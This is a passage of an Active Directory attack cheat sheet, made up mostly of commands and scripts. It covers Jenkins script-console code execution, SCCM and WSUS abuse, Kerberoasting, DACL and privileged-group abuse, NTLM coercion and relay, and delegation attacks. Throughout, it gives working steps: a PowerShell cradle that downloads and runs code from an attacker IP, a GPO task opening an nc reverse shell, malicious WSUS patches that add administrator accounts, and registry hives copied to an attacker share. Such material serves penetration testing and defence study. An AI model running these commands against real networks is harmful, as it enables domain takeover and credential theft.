# get the value populated in the DNSRecord attribute of a node
Get-ADIDNSNodeAttribute -Node * -Attribute DNSRec

# creates a wildcard record, sets the DNSRecord and DNSTombstoned attributes
New-ADIDNSNode -Tombstone -Verbose -Node * -Data $IP

# enable a tombstoned record
Enable-ADIDNSNode -Node *

# disable a node
Disable-ADIDNSNode -Node *

# remove a node
Remove-ADIDNSNode -Node *

# check the wildcard record works/resolve a name
Resolve-DnsName NameThatDoesntExist
```

DNS update with Invoke-DNSUpdate

To work with "classic" record, i.e. not wildcard record

```
Invoke-DNSUpdate -DNSType A -DNSName test.domain.local -DNSData <attacker_IP> -Realm domain.local
```

Feature abuse

Jenkins

Go to `http://<IP>/script`

```
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```

Without admin access : add a build step in the build configuration, add `"Execute Windows Batch Command"` and `powershell –c <command>`

```
powershell -c "iex (new-object system.net.webclient).downloadstring('http://<attacker_IP>/Invoke-HelloWorld.ps1')"

#For more hardened policy
#On Kali
    echo "iex (new-object system.net.webclient).downloadstring('http://<attacker_IP>/Invoke-HelloWorld.ps1')" | iconv --to-code UTF-16LE | base64 -w 0
#In Jenkins
    cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <base64_command>
```

SCCM

Client Push Accounts

With a compromised machine in an Active Directory where SCCM is deployed via **Client Push Accounts** (the default configuration) on the assets, it is possible to retrieve the Net-NTLM hash of the Client Push Account, which generally has Administrator privileges on lots of assets. Full explains here. To do it:

- Remove all the local Administrators on the compromised machine : `net user <username>`

`/delete`

- Listen with Inveigh : `Invoke-Inveigh -Challenge 1122334455667788 -ConsoleOutput Y -LLMNR Y -NBNS Y -mDNS Y -HTTPS Y -Proxy Y`
- Wait for the Client Push Accounts that will attempt to authenticate automatically
- Hope for Net-NTLMv1, relay possibility or wathever

Applications and scripts deployement

With sufficient rights on the central SCCM server (rights on WMI), it is possible to deploy applications or scripts on the AD computers (SYSTEM on the server basically, to have rights on WMI) with **PowerSCCM**:

```
#Create SCCM Session with WMI
Find-SccmSiteCode -ComputerName <SCCM_computer>
New-SccmSession -ComputerName <SCCM_computer> -SiteCode <site_code> -ConnectionType WMI

#Retrieve computers linked to the SCCM server
Get-SccmSession | Get-SccmComputer

#Create a computer collection
Get-SccmSession | New-SccmCollection -CollectionName "col" -CollectionType "Device"

#Add computer to the collection
Get-SccmSession | Add-SccmDeviceToCollection -ComputerNameToAdd "<computer>" -CollectionName
"col"

#Create an app to deploy
Get-SccmSession | New-SccmApplication -ApplicationName "<application_name>" -PowerShellB64
"<powershell_script_in_B64>"

#Create an app deployment with the app and the collection previously created
Get-SccmSession | New-SccmApplicationDeployment -ApplicationName "<application_name>" -
AssignmentName "assig" -CollectionName "col"

#Force the machine in the collection to check the app update (and force the install)
Get-SccmSession | Invoke-SCCMDeviceCheckin -CollectionName "col"
```

If application deployement doesn't work, it is worth to test CMScript deployement (deploy a script instead of an app). **PowerSCCM** also permits to do it with this PR :

```
New-CMScriptDeployement -CMDrive '<new_drive_name>' -ServerFQDN '<SCCM_server_FQDN>' -
```

```
TargetDevice '<target_FQDN>' -Path '.\reverse.ps1' -ScriptName 'EvilScript'
```

SCCM credentials extraction with DPAPI

It is possible to retrieve the **Network Access Accounts (NAA)** in the NAA policy which it's sent by the SCCM server and stored on the SCCM client disk encrypted with DPAPI. With SYSTEM access on the client, the credentials can be retrieved:

```
#With SharpDPAPI
.\SharpDPAPI.exe SCCM
#With Mimikatz
.\mimikatz.exe
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # dpapi::sccm
```

Network Access Account deobfuscation

A computer account has the ability to register itself with the SCCM server and request the encrypted NAA policies, decrypt them, deobfuscate them and retrieve the NAA's credentials in them. A controlled computer account is needed to send the authenticated request, but the account to spoof doesn't need to be the same. Full explains here. **WARNING** : the author does not recommanded to use the tool in prod.

```
sccmwtf.py "fakepc" "fakepc.domain.local" '<SCCM_server>' 'domain\ControlledComputer$'
'Password123!'
```

Then decrypt the retrieved hexadecimal blobs:

```
.\policysecretunobfuscate.exe <blob_hex_1>
.\policysecretunobfuscate.exe <blob_hex_2>
```

SCCM primary site takeover

The primary site server's computer account is member of the local Administrators group on the site database server and on every site server hosting the "SMS Provider" role in the hierarchy. This means it is possible to coerce the primary site server authentication and relay it to the database server and obtain an administrative access. Some requirements must be reached to exploit this scenario. Full explains here.

```
# Retrieve the controlled user SID in HEX format
```

```
.\SharpSCCM.exe get user-sid

# Setup a NTLM relay server to MSSQL or SMB
    # targetting MS-SQL
ntlmrelayx.py -t "mssql://siteDatabase.domain.local" -smb2support -socks
    # targeting SMB
ntlmrelayx.py -t "smb://siteDatabase.domain.local" -smb2support -socks

# Coerce the primary site server authentication via Client Push Installation
.\SharpSCCM.exe invoke client-push -mp "SCCM-Server" -sc "<site_code>" -t
"attacker.domain.local"
```

With a MSSQL socks open, the following SQL query can be executed to grant full privileges to the controlled user on the SCCM primary site:

```
proxychains mssqlclient.py "DOMAIN/SCCM-Server$"@"siteDatabase.domain.local" -windows-auth
```

```
--Switch to site database
use CM_<site_code>

--Add the SID, the name of the current user, and the site code to the RBAC_Admins table
INSERT INTO RBAC_Admins
(AdminSID,LogonName,IsGroup,IsDeleted,CreatedBy,CreatedDate,ModifiedBy,ModifiedDate,SourceSite)
VALUES (<SID_in_hex_format>,'DOMAIN\user',0,0,'','','','','<site_code>');

--Retrieve the AdminID of the added user
SELECT AdminID,LogonName FROM RBAC_Admins;

--Add records to the RBAC_ExtendedPermissions table granting the AdminID the Full
Administrator (SMS0001R) RoleID for the “All Objects” scope (SMS00ALL),
--the “All Systems” scope (SMS00001),
--and the “All Users and User Groups” scope (SMS00004)
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES
(<AdminID>,'SMS0001R','SMS00ALL','29');
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES
(<AdminID>,'SMS0001R','SMS00001','1');
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES
(<AdminID>,'SMS0001R','SMS00004','1');
```

Post exploitation via SCCM can now be performed on the network.

WSUS

- Push an evil update on the computers : SharpWSUS explains

```
#Locate the WSUS server
./SharpWSUS locate

#Find a way to compromise it
#Enumerate the contents of the WSUS server to determine which machines to target
./SharpWSUS.exe inspect

#Create a malicious patch with a Microsoft signed binary (mandatory)
./SharpWSUS.exe create /payload:"C:\tmp\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user user1 Password123! /add && net localgroup administrators user1 /add\"" /title:"EvilWSUS"

#Create a WSUS group, add the target machine to the WSUS group and approve the malicious patch for deployment
./SharpWSUS.exe approve /updateid:<GUID_from_create> /computername:<target> /groupname:"Evil Group"

#Wait for the client to download the patch, not possible to control
./SharpWSUS.exe check /updateid:<GUID_from_create> /computername:<target>

#Clean up after the patch is downloaded.
./SharpWSUS.exe delete /updateid:<GUID_from_create> /computername:<target> /groupname:"Evil Group"
```

- Spoof the WSUS server and hijack the update if the updates are pushed through HTTP and not HTTPS

```
#Find the WSUS server with the REG key
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v wuserver

#Setup the fake WSUS server
python3.exe pywsus.py --host <network_interface> --port 8530 --executable ./PsExec64.exe --command '/accepteula /s cmd.exe /c "net user usser1 Password123! /add && net localgroup Administrators user1 /add"'
```

And ARP spoofing with bettercap and a `wsus_spoofing.cap` like this:

```
# quick recon of the network
net.probe on

# set the ARP spoofing
set arp.spoof.targets $client_ip
set arp.spoof.internal false
set arp.spoof.fullduplex false

# reroute traffic aimed at the WSUS server
set any.proxy.iface $interface
set any.proxy.protocol TCP
set any.proxy.src_address $WSUS_server_ip
set any.proxy.src_port 8530
set any.proxy.dst_address $attacker_ip
set any.proxy.dst_port 8530

# control logging and verbosity
events.ignore endpoint
events.ignore net.sniff

# start the modules
any.proxy on
arp.spoof on
net.sniff on
```

```
bettercap --iface <network_interface> --caplet wsus_spoofing.cap
```

Now wait for update verification or manually trigger with a GUI access on the machine

Domain Privesc

Kerberoast

Find users with SPN

```
#PowerView
Get-NetUser -SPN

#ActiveDirectory module
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
```

Request TGS

```
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList
"SPN/<target>.domain.local"
```

Or `Request-SPNTicket` with PowerView

Export the ticket

```
Invoke-Mimikatz -Command '"kerberos::list /export"'
```

Crack the ticket

Many options but this one works (also john, hashcat, etc...)

```
python.exe .\tgsrepcrack.py .\wordlist.txt .\ticket.kirbi
```

Rubeus

Rubeus can be used to perform all the attack, with more or less opsec

```
#Kerberoast all the kerberoastable accounts
.\Rubeus.exe kerberoast

#Kerberoast a specified account
.\Rubeus.exe kerberoast /user:<target> /outfile:ticket.kirbi

#Kerberoast with RC4 downgrade even if the targets are AES enabled
#Tickets are easier to crack
.\Rubeus.exe kerberoast /tgtdeleg

#Kerberoast with opsec tgtdeleg trick filtering AES accounts
```

```
.\Rubeus.exe kerberoast /rc4opsec
```

Kerberoast w/o creds

Without pre-authentication

If a principal can authent without pre-authentication (like AS-REP Roasting), it is possible to use it to launch an **AS-REQ request** (for a TGT) and trick the request to ask for a ST instead for a kerberoastable principal, by modifying the **sname** attribut in the **req-body** part of the request.

Full explains here.

This PR must be used for the moment.

```
.\Rubeus.exe kerberoast /domain:"domain.local" /dc:"dc.domain.local"
/nopreauth:"user_w/o_preauth" /spn:users.txt
```

With MitM

If no principal without pre-authentication are present, it is still possible to intercept the **AS-REQ requests** on the wire (with ARP spoofing for example), and replay them to kerberoast.

WARNING : `RoastInTheMiddle.exe` is only a PoC for the moment, be carefull with it in prod environment !

```
./RoastInTheMiddle.exe /listenip:<attacker_IP> /spns:users.txt
/targets:<target_IP_1>,<target_IP_2> /dcs:<DC_IP_1>,<DC_IP_2>
```

AS-REP Roasting

Enumerate users

```
#UPowerView:
Get-DomainUser -PreauthNotRequired -Verbose


#AD module:
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth
```

Disable Kerberos Preauth

With PowerView

```
Set-DomainObject -Identity user1 -XOR @{useraccountcontrol=4194304} -Verbose
Get-DomainUser -PreauthNotRequired -Verbose
```

Request AS-REP

```
.\Rubeus.exe asreproast /user:<target> /domain:domain.local /creduser:domain.local\user1 /credpassword:"Password123!" /format:hashcat
```

Crack the hash

With **john** or **hashcat** it could be performed

DACLs attacks

ACLs packages

- **Owns object**
  - WriteDacl
- **GenericAll**
  - GenericWrite
  - AllExtendedRights
  - WriteOwner
- **GenericWrite**
  - Self
  - WriteProperty
- **AllExtendedRights**
  - User-Force-Change-Password
  - DS-Replication-Get-Changes
  - DS-Replication-Get-Changes-All
  - DS-Replication-Get-Changes-In-Filtered-Set

On any objects

WriteOwner

With this rights on a user it is possible to become the "owner" (**Grant Ownership**) of the account and then change our ACLs against it

```
Set-DomainObjectOwner -Identity <target> -OwnerIdentity user1 -verbose
Add-ObjectAcl -TargetIdentity <target> -PrincipalIdentity user1 -Rights ResetPassword

#And change the password
$cred = ConvertTo-SecureString "Password123!" -AsPlainText -force
Set-DomainUserPassword -Identity <target> -accountpassword $cred
```

WriteDacl

With this rights we can modify our ACLs against the target, and give us **GenericAll** for example

```
Add-ObjectAcl -TargetIdentity <target> -PrincipalIdentity user1 -Rights All
```

In case where you have the right against a container or an OU, it is possible to setup the **Inheritance** flag in the ACE. The child objects will inherite the parent container/OU ACE (except if the object has `AdminCount=1`)

```
$Guids = Get-DomainGUIDMap
$AllObjectsPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'All'} | select -
ExpandProperty name
$ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity user1 -Right
ExtendedRight,ReadProperty,GenericAll -AccessControlType Allow -InheritanceType All -
InheritedObjectType $AllObjectsPropertyGuid
$OU = Get-DomainOU -Raw <OU_name>

$dsEntry = $OU.GetDirectoryEntry()
$dsEntry.PsBase.Options.SecurityMasks = 'Dacl'
$dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE)
$dsEntry.PsBase.CommitChanges()
```

On an user

WriteProperty

- ShadowCredentials

```
Whisker.exe add /target:<target> /domain:domain.local /dc:dc.domain.local
```

```
/path:C:\path\to\file.pfx /password:"Password123!"
```

- Logon Script

```
#PowerView
Set-DomainObject <target> -Set @{'mstsinitialprogram'='\\ATTACKER_IP\rev.exe'} -Verbose

#AD module
Set-ADObject -SamAccountName '<target>' -PropertyName scriptpath -PropertyValue
"\\ATTACKER_IP\rev.exe"
```

- Targeted Kerberoasting

We can then request a TGS without special privileges. The TGS can then be "**Kerberoasted**".

```
#Verify if the user already has a SPN
Get-DomainUser -Identity <target> | select serviceprincipalname
    #Using ActiveDirectory module
Get-ADUser -Identity <target> -Properties ServicePrincipalName | select ServicePrincipalName
```

New SPN must be unique in the domain

```
#Set the SPN
Set-DomainObject -Identity user -Set @{serviceprincipalname='ops/whatever1'}
    #Using ActiveDirectory module
Set-ADUser -Identity user -ServicePrincipalNames @{Add='ops/whatever1'}

#Request the ticket
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList
"ops/whatever1"
    #From PowerView
Request-SPNTicket
```

User-Force-Change-Password

With enough permissions on a user, we can change his password

```
net user <target> Password123! /domain
```

```
#With PowerView
$pass = ConvertTo-SecureString "Password123!" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("domain\user1", $pass)
Set-DomainUserPassword "<target>" -AccountPassword $UserPassword -Credential $cred
```

On a computer

WriteProperty

- ShadowCredentials

```
Whisker.exe add /target:<target> /domain:domain.local /dc:dc.domain.local
/path:C:\path\to\file.pfx /password:Password123!
```

- Kerberos RBCD

AllExtendedRights

- ReadLAPSPassword

```
# With PowerView
Get-DomainComputer <target>.domain.local -Properties ms-mcs-AdmPwd,displayname,ms-mcs-
AdmPwdExpirationTime
```

- ReadGMSAPassword

```
./GMSAPasswordReader.exe --accountname gmsaAccount
```

On a RODC

GenericWrite

- Obtain local admin access

Change the `managedBy` attribute value and add a controlled user. He will automatically gain admin rights.

- Retrieve Tiers 0 account's NT hashes

It is possible to modify the `msDS-NeverRevealGroup` and `msDS-RevealOnDemandGroup` lists on the RODC to allow Tiers 0 accounts to authenticate, and then forge RODC Golden Tickets for them to access other parts of the AD.

```
#Add a domain admin account to the msDS-RevealOnDemandGroup attribute
Set-DomainObject -Identity RODC-Server$ -Set @{'msDS-RevealOnDemandGroup'=@('CN=Allowed RODC
Password Replication Group,CN=Users,DC=domain,DC=local',
'CN=Administrator,CN=Users,DC=domain,DC=local')}

#If needed, remove the admin from the msDS-NeverRevealGroup attribute
Set-DomainObject -Identity RODC-Server$ -Clear 'msDS-NeverRevealGroup'
```

WriteProperty

WriteProperty on the `msDS-NeverRevealGroup` and `msDS-RevealOnDemandGroup` lists is sufficient to modify them. Obtain the `krbtgt_XXXXX` key is still needed to forge RODC Golden Ticket.

```
#Add a domain admin account to the msDS-RevealOnDemandGroup attribute
Set-DomainObject -Identity RODC-Server$ -Set @{'msDS-RevealOnDemandGroup'=@('CN=Allowed RODC
Password Replication Group,CN=Users,DC=domain,DC=local',
'CN=Administrator,CN=Users,DC=domain,DC=local')}

#If needed, remove the admin from the msDS-NeverRevealGroup attribute
Set-DomainObject -Identity RODC-Server$ -Clear 'msDS-NeverRevealGroup'
```

On a group

WriteProperty/AllExtendedRights/GenericWrite Self

With one of this rights we can add a new member to the group

```
net group <target_group> user1 /add
# With PowerView
Add-DomainGroupMember -Identity '<target_group>' -Members 'user1'
```

On GPO

WriteProperty on a GPO

We can create an "evil" GPO with a scheduled task for example

```
#With PowerView
New-GPOImmediateTask -Verbose -Force -TaskName 'Update' -GPODisplayName 'weakGPO' -Command
cmd -CommandArguments "/c net localgroup administrators user1 /add"

#With SharpGPOAbuse
./SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author Administrator --Command
"cmd.exe" --Arguments "/c /tmp/nc.exe attacker_ip 4545 -e powershell" --GPOName "weakGPO"
```

CreateChild on Policies Cn + WriteProperty on an OU

It is possible to create a fully new GPO and link it to an existing OU

```
#With RSAT module
New-GPO -Name "New GPO" | New-GPLink -Target "OU=Workstation,DC=domain,DC=local"
Set-GPPrefRegistryValue -Name "New GPO" -Context Computer -Action Create -Key
"HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value
"C:\Windows\System32\cmd.exe /C \\path\to\payload" -Type ExpandString
```

After GPO refresh on the OU's machines, when the machines will restart the payload will be executed

On the domain/forest

DS-Replication-Get-Changes + DS-Replication-Get-Changes-All

We can **DCSync**

DS-Replication-Get-Changes + DS-Replication-Get-Changes-In-Filtered-Set

It is possible to realize a **DirSync** attack, as presented here

```
Import-Module ./DirSync.psm1

#Sync all the LAPS passwords in the domain
Sync-LAPS

#Sync a specific LAPS password
Sync-LAPS -LDAPFilter '(samaccountname=<computer$>)'
```

```
#Sync confidential attributs
Sync-Attributes -LDAPFilter '(samaccountname=user1)' -Attributes unixUserPassword,description
```

Account Operators

The members of this group can add and modify all the non admin users and groups. Since **LAPS ADM** and **LAPS READ** are considered as non admin groups, it's possible to add an user to them, and read the LAPS admin password. They also can manage the **Server Operators** group members which can authenticate on the DC.

Add user to LAPS groups

```
Add-DomainGroupMember -Identity 'LAPS ADM' -Members 'user1' -Credential $cred -Domain "domain.local"
Add-DomainGroupMember -Identity 'LAPS READ' -Members 'user1' -Credential $cred -Domain "domain.local"
```

Read LAPS password

```
Get-DomainComputer <computername> -Properties ms-mcs-AdmPwd,ComputerName,ms-mcs-AdmPwdExpirationTime
```

DnsAdmins

- It is possible for the members of the DNSAdmins group to load arbitrary DLL with the privileges of dns.exe (SYSTEM).
- In case the DC also serves as DNS, this will provide us escalation to DA.
- Need privileges to restart the DNS service.

Configure the DLL

Needs RSAT DNS

```
#With dnscmd.exe
dnscmd <target> /config /serverlevelplugindll \\<attacker_IP>\dll\mimilib.dll

#With DNSServer module
$dnsettings = Get-DnsServerSetting -ComputerName <target> -Verbose -All
$dnsettings.ServerLevelPluginDll = "\\<attacker_IP>\dll\mimilib.dll"
```

```
Set-DnsServerSetting -InputObject $dnsettings -ComputerName <target> -Verbose
```

Restart DNS

```
sc \\<target> stop dns
sc \\<target> start dns
```

Schema Admins

These group members can change the "*schema*" of the AD. It means they can change the ACLs on the objects that will be created **IN THE FUTUR**. If we modify the ALCs on the group object, only the futur group will be affected, not the ones that are already present.

Change ACLs on the groups

Give full rights to a user on the groups

```
$creds = New-Object System.Management.Automation.PSCredential ("domain.local\user1",
(ConvertTo-SecureString "Password" -AsPlainText -Force)); Set-ADObject -Identity
"CN=group,CN=Schema,CN=Configuration,DC=domain,DC=local" -Replace @{defaultSecurityDescriptor
=
'D:(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;DA)(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;SY)(A;;RPLCLORC;;;AU)(A;
1-5-21-854239470-2015502385-3018109401-52104)';} -Verbose -server dc.domain.local -Credential
$creds
```

When a new group is created we can add any user to it with the user who has full rights

```
$User = Get-ADUser -Identity "CN=user1,CN=Users,DC=domain,DC=local"; $Group = Get-ADGroup -
Identity "CN=new_admingroup,CN=Users,DC=domain,DC=local"; $creds = New-Object
System.Management.Automation.PSCredential ("domain.local\user1", (ConvertTo-SecureString
"Password" -AsPlainText -Force)); Add-ADGroupMember -Identity $Group -Members $User -Server
dc.domain.local -Credential $creds
```

Backup Operators

Can *normally* log in on any machines of the domain.

File system backup

Can backup the **entire file system** of a machine (DC included) and have full read/write rights on the backup

To backup a folder :

```
robocopy /B C:\Users\Administrator\Desktop\ C:\tmp\tmp.txt /E
```

To backup with **Diskshadow + Robocopy**:

- Create a `script.txt` file to backup with Diskshadow

```
set verbose onX
set metadata C:\Windows\Temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backupX
```

- Backup with `diskshadow /s script.txt`
- Retrieve the backup with **robocopy** and send the NTDS file in the current folder : `robocopy /b E:\Windows\ntds . ntds.dit`
- Then retrieve the SYSTEM registry hive to decrypt and profit `reg save hklm\system c:\temp\system`

To backup with **Diskshadow + DLLs**:

- Similar script for Diskshadow

```
set context persistent nowritersx
set metadata c:\windows\system32\spool\drivers\color\example.cabx
add volume c: alias someAliasx
createx
expose %someAlias% z:x
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.ditx
delete shadows volume %someAlias%x
resetx
```

- With these DLLs

```
Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll

Copy-FileSeBackupPrivilege z:\windows\ntds\ntds.dit C:\temp\ntds.dit -Overwrite
reg save HKLM\SYSTEM c:\temp\system.hive
```

Registry read rights

The **Backup Operators** can read all the machines registry

```
python3 reg.py 'domain.local'/'user1':'Password123'@<target>.domain.local query -keyName
'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon'

#Backup the SAM, SECURITY and SYSTEM registry keys
reg.py -dc-ip <DC_IP> 'domain.local'/'user1':'Password123'@server.domain.local backup -o
\\<attacker_IP>\share
```

GPOs read/write rights

Normally the **Backup Operators** can read and rights all the domain and DC GPOs with **robocopy** in **backup** mode

- Found the interesting GPO with `Get-NetGPO` . For example **Default Domain Policy** in the Domain Controller policy
- Get the file at the path `\\dc.domain.local\SYSVOL\domain.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf` and add whatever you want in it
- Write the file with **robocopy**:

```
robocopy "C:\tmp" "\\dc.domain.local\SYSVOL\domain.local\Policies\{31B2F340-016D-11D2-945F-
00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit" GptTmpl.inf /ZB
```

Key Admins

Members of this group can perform Shadow Credentials attacks against any objects, including the domain controllers.

AD Recycle Bin

Members of this group can recover deleted objects from the Active Directory, just like in a recycle bin for files, when the feature is enabled. These objects can sometimes have interesting properties.

Enumerate deleted objects

To find all the deleted objects and their properties:

```
Get-ADObject -filter 'isdeleted -eq $true -and name -ne "Deleted Objects"' -
includeDeletedObjects -property *
```

To focus on one object:

```
Get-ADObject -filter { SAMAccountName -eq "user1" } -includeDeletedObjects -property *
```

To find the last deleted object:

```
Get-ADObject -ldapFilter:"(msDS-LastKnownRDN=*)" - IncludeDeletedObjects
```

Restore an object

```
Get-ADObject -Filter {displayName -eq "user1"} IncludeDeletedObjects | Restore-ADObject
```

Authentication capture, coerce and relay

Capture, coerce and leak

Different ways to obtain and catch NTLM authentications and retrieve a NTLM response.

Responder / Inveigh

Change the authentication challenge to `1122334455667788` in the Responder conf file in order to obtain an easily crackable hash if **NTLMv1** is used.

```
sed -i 's/ Random/ 1122334455667788/g' Responder/Responder.conf
```

Catch all the possible hashes on the network (coming via LLMNR, NBT-NS, DNS spoofing, etc):

```
# Responder with WPAD injection, Proxy-Auth, DHCP, DHCP-DNS and verbose
responder -I interface_to_use -wPdDv

# Inveigh with *
Invoke-Inveigh -Challenge 1122334455667788 -ConsoleOutput Y -LLMNR Y -NBNS Y -mDNS Y -HTTPS Y -Proxy Y
```

Force NTLM downgrade to NTLMv1 (will break the authentications if v1 is disabled on the machine):

```
# --disable-ess will disable the SSP, not always usefull
responder -I interface_to_use -wdDv --lm --disable-ess
```

NTLMv1 response can be cracked on crash.sh.

Leak Files

With write rights on a SMB share, it is possible to drop a `.scf` file with the following content to grab some user hashes:

```
[Shell]
Command=2
IconFile=\<attacker_IP>\share\pentestlab.ico
[Taskbar]
Command=ToggleDesktop
```

MITM6

Spoof DHCPv6 responses to provide evil DNS config. Usefull to combine with NTLM or Kerberos Relay attacks. Here for an NTLM relay:

```
mitm6 -i interface_to_use -d domain.local -hw target.domain.local -v
```

PetitPotam / PrinterBug / ShadowCoerce / DFSCoerce / CheeseOunce

Exploits to coerce Net-NTLM authentication from a computer. **PetitPotam** can be used without any credentials if no patch has been installed.

```
#PetitPotam
./PetitPotam.exe attacker_IP target_IP

#PrinterBug
./SpoolSample.exe target_IP attacker_IP

#ShadowCoerce
python3.exe shadowcoerce.py -d domain.local -u user1 -p password attacker_IP target_IP

#DFSCoerce
python3.exe dfscoerce.py -u user1 -d domain.local <listener_IP> <target_IP>

#CheeseOunce via MS-EVEN
./MS-EVEN.exe <listener_IP> <target_IP>
```

MSSQL Coerce

Everything is explained here.

- MSSQL Server : with xp_dirtree.

PrivExchange

Coerce Exchange server authentication via **PushSubscription** (now patched):

```
python3 privexchange.py -ah attacker_IP <Exchange_server> -u user1 -p password -d domain.local
```

WebClient Service

If this service runs on the target machine, a SMB authentication can be switched into an HTTP authentication (really useful for NTLM relay).

Check if WebClient is running on machines:

```
GetWebDAVStatus.exe 'machine_ip'

#For multiple machines
webclientservicescanner domain.local/user1:password@10.10.10.0/24
```

If yes, coerce the authentication to the port 80 on the attacker IP. To bypass trust zone restriction, the attacker machine must be specified with a valid **NETBIOS name** and not its IP. the FQDN can be obtained with Responder in Analyze mode.

```
responder -I interface_to_use -A

#Coerce with PetitPotam for example
./PetitPotam.exe "attacker_NETBIOS@80/test.txt" <target_IP>
```

NTLM and Kerberos relay

SMB without signing

Create a list of computer without SMB signing:

```
crackmapexec smb 10.10.10.0/24 --gen-relay-list list.txt
```

ntlmrelayx

If only SMBv2 is supported, `-smb2support` can be used. To attempt the remove the MIC if **NTLMv2** is vulnerable to **CVE-2019-1040**, `--remove-mic` can be used.

Multiple targets can be specified with `-tf list.txt`.

- Enumeration

```
#With attempt to dump possible GMSA and LAPS passwords, and ADCS templates
ntlmrelayx.py ldap://dc --dump-adcs --dump-laps --dump-gmsa --no-da --no-acl
```

- SOCKS

```
ntlmrelayx.py smb://target -socks
ntlmrelayx.py mssql://target -socks
```

- Creds dump

```
ntlmrelayx.py smb://target
```

- DCSync if the target in vulnerable to Zerologon

```
ntlmrelayx.py dcsync://dc
```

- Privesc

Add an user to **Enterprise Admins**.

```
ntlmrelayx.py ldap://dc --escalate-user user1 --no-dump
```

- Kerberos Delegation

Kerberos RBCD are detailled in the following section.

```
#Create a new computer account through LDAPS and enabled RBCD
ntlmrelayx.py ldaps://dc_IP --add-computer --delegate-access --no-dump --no-da --no-acl

#Create a new computer account through LDAP with StartTLS and enabled RBCD
ntlmrelayx.py ldap://dc_IP --add-computer --delegate-access --no-dump --no-da --no-acl

#Doesn't create a new computer account and use an existing one
ntlmrelayx.py ldap://dc_IP --escalate-user <controlled_computer> --delegate-access --no-dump
--no-da --no-acl
```

- Shadow Credentials

```
ntlmrelayx.py -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$'
```

- From a mitm6 authent

```
#Attempts to open a socks and write loot likes dumps into a file
ntlmrelayx.py -tf targets.txt -wh attacker.domain.local -6 -l loot.txt -socks
```

- ADCS ESC8 & 11

krbrelayx

To relay authentication from a mitm6 DNS spoofing to ADCS:

```
krbrelayx.py --target http://CA.domain.local/certsrv -ip <attacker_IP> --victim
target.domain.local --adcs --template Machine
```

Kerberos Delegations

Kerberos delegations can be used for local privesc, lateral movement or domain privesc. The main purpose of Kerberos delegations is to permit a principal to access a service on behalf of another principal.

There are two main types of delegation:

- **Unconstrained Delegation**: the first hop server can request access to any service on any computer
- **Constrained Delegation**: the first hop server has a list of service it can request

Unconstrained delegation

Compromised machine in Unconstrained Delegation

- Enumerate computers with Unconstrained Delegation

```
Get-NetComputer -UnConstrained

#With AD Module
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
Get-ADUser -Filter {TrustedForDelegation -eq $True}
```

- Get admin ticket

After compromising the computer with UD enabled, we can trick or wait for an admin connection

```
#Check if a ticket is available
Invoke-Mimikatz -Command '"sekurlsa::tickets"'

#If yes
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
```

- Reuse the ticket

```
Invoke-Mimikatz -Command '"kerberos::ptt ticket.kirbi"'
```

Printer bug / PetitPotam

To force another computer to connect to the compromised machine in UD, and capture the TGT by monitoring:

```
.\Rubeus.exe monitor /interval:5 /nowrap
```

On the attacker machine run :

```
#PrinterBug
.\MS-RPRN.exe \\<target>.domain.local \\unconstrainedMachine.domain.local


#PetitPotam
.\PetitPotam.exe attacker_ip <target>.domain.local
```

```
.\Rubeus.exe ptt /ticket:...


#DCSync with the dc TGT
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt"'
```

Any principal in Unconstrained Delegation

If we have enough rights against a principal (computer or user) in UD to add a **SPN** on it and **know its password**, we can try to use it to retrieve a machine account password from an authentication coercion.

- Add a new DNS record on the domain that point to our IP
- Add a SPN on the principal that point to the DNS record and change its password (will be usefull for the tool `krbrelayx.py` to extract the TGT from the ST)
- Trigger the authentication and grab the ST (and TGT in it) on **krbrelayx** that is listenning for it

Since the principal is in **Unconstrained Delegation**, when the machine account will send the **ST** to the SPN it will automatically add a **TGT** in it, and because the SPN is pointing to us with the DNS record, we can retrieve the TGS, decipher the ciphered part with the user password (the SPN is setup on the user, so the TGS is ciphered with his password), and retrieve the TGT.

```
#Add the SPN with the Microsoft module
Set-ADUser -Identity <principal_in_UD> -ServicePrincipalName @{Add='HOST/test.domain.local'}
```

```
#Create the DNS record
Invoke-DNSUpdate -DNSType A -DNSName test.domain.local -DNSData <attacker_IP> -Realm domain.local

#Run krbrelayx with the hash of the password setup on the UD user
